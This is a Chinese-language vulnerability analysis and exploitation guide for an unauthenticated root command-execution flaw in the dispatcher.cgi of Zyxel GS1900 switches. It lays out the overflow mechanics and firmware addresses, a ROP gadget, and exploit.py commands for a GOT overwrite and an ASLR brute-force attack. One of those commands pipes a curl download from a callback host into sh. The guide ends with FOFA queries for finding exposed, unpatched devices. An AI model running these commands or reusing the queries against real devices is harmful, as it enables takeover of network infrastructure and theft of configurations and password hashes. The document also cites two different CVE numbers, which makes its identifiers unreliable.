为什么"已经打过补丁"的交换机,还会被同一拨人打穿?
漏洞简介
Zyxel GS1900 系列网管交换机的 Web 管理 CGI 程序
dispatcher.cgi中存在一处越界写(CWE-787)。它的参数解析函数web_util_initParaPairs()会先把 HTTP 请求里的参数拷贝进一块全局内存,之后才检查参数数量。只要把第 139 个参数槽塞进超过 1024 字节的值,就会溢出并覆盖紧跟其后的 32 位计数器g_count;配合负数计数,攻击者就能往reqParameters之前写,从而改写 GOT 表,最终在无需登录的情况下以 root 身份执行任意命令。关键反差在于:Zyxel 早在 6 月 16 日就发过针对 CVE-2026-7273 的修复,可那 10 个
.2固件版本全都没真正堵住这条攻击路径——补丁加的数量检查,恰好加在了"溢出拷贝之后"。也就是说,已经打了 6 月补丁、被当成"安全"的设备,仍然能被利用。GreyNoise 记录到在野攻击已命中 48 国 996 台设备,偷走配置与 root 密码哈希。公开分析认为该缺陷可经普通 HTTP 从任意能到达管理口的网络发起(
AV:N),而非 Zyxel 标注的局域网相邻(AV:A)。
影响范围
漏洞原理
参数解析的核心缺陷在
web_util_initParaPairs()。它把请求参数存进全局对象reqParameters(140 个槽 × 1024 字节),每个槽前 512 字节放参数名、后 512 字节放参数值;reqParameters末尾紧跟着 32 位计数器g_count。
for ( amp = strchr(src, '&'); amp != nullptr; amp = strchr(amp + 1, '&') )
{
slot = &reqParameters[1024 * g_count];
// ① 拷贝发生在数量检查之前,且未限制单槽 1024 字节
memcpy(slot, tok_start, amp - tok_start);
slot[amp - tok_start] = 0;
// ... urlDecode 填 value 字段 ...
tok_start = amp + 1;
// ② 检查在拷贝之后
if ( ++g_count == 140 )
return 0;
}三步走(对应 exploit.py 里那个 hexdump):
把
g_count顶到 139:发 139 个&(零长度参数),让当前槽指针落到reqParameters + 139*1024,也就是紧贴着g_count的前 1024 字节。超长值溢出:往这个槽写一个 >1024 字节的值。因为单槽上限没被校验,多余字节直接越界落到
g_count上,把它改成攻击者控制的小数值(甚至负数)。负索引写穿:下一轮解析用被改坏的
g_count当槽下标。因为g_count是int,塞个接近UINT32_MAX的负数,槽地址就退到reqParameters之前——恰好覆盖 GOT 表(本固件起于0x10002C40)。改好某个会被调用的 GOT 项指向system(),就能落地命令执行。
GOT 覆写是确定性命中(1 次请求);若 g_count 没正好落到想覆写的 GOT 项,就切 stack 模式——借一条 MIPS gadget(0x0000B398: move $t9,$s1 ; jalr $t9)做 ROP,靠 ASLR 暴力(均值 ~2048 次请求)猜中。
漏洞复现
准备环境
参数默认值(.2 固件基线,MIPS 小端):reqParameters=0x10004430、GOT 基址=0x10002C40、栈跳板 gadget=0xB398。
复现步骤
复现步骤一:先干跑,确认将要发送的 payload(不发包)
进入目录后,用 --dry-run 让工具只打印 payload、不发任何包,确认构造无误:
cd cve-2026-107441
# 干跑两种模式,看 body 头部 96 字节
python3 exploit.py --dry-run -m got http://<目标IP> 'id'
python3 exploit.py --dry-run -m stack http://<目标IP> 'id'干跑输出示例:[dry-run] target=http://… mode=got len(body)=1187,并打印 payload 头部(id&…& 的 139 个 & + 1024 个 B)。
复现步骤二:真实利用(GOT 优先,失败切 ASLR 暴力)
确认 payload 正确后去掉 --dry-run,按"先确定性、再暴力"的顺序落地:
# ① 确定性 GOT 覆写(1 次请求命中)
python3 exploit.py -m got http://<目标IP> 'id'
# ② 未命中 → ASLR 暴力(给足预算)
python3 exploit.py -m stack -n 20000 http://<目标IP> 'whoami'
# ③ 自动模式:先 1 发 GOT,未中自动切 stack
python3 exploit.py -m auto -n 20000 http://<目标IP> 'id ;# curl <回连> -o- | sh'
# ④ 换固件时覆盖地址
python3 exploit.py -m got --req-params 0x10004430 --strcmp-got 0x10002C5C \
--system-off 0x3A200 http://<目标IP> 'id'命中特征:响应里出现 uid=0(root) 或你下发的命令回显。
安全边界:
--dry-run是默认安全姿势;对没有写权限的目标不要去掉 dry-run。落地system()后能直接读/home/web/下的配置与密码哈希,等于拿 root 摸到全网设备。
FOFA 语法
GS1900 的指纹落在 Server 头与登录页 HTML 上,配合 80/443 端口定位暴露的管理口:
暴露 Web 管理口的 GS1900
port="80" && server="GS1900" 命中登录页标题(管理面板可达)
port="80" && title="GS1900" HTTPS 管理口
port="443" && banner="GS1900" 叠加 CGI 路径指纹(命中 dispatcher.cgi 可达)
port="80" && cert="GS1900" 只看疑似未打 .3 补丁的旧指纹(.2 固件)
port="80" && server="GS1900" && banner="2.90"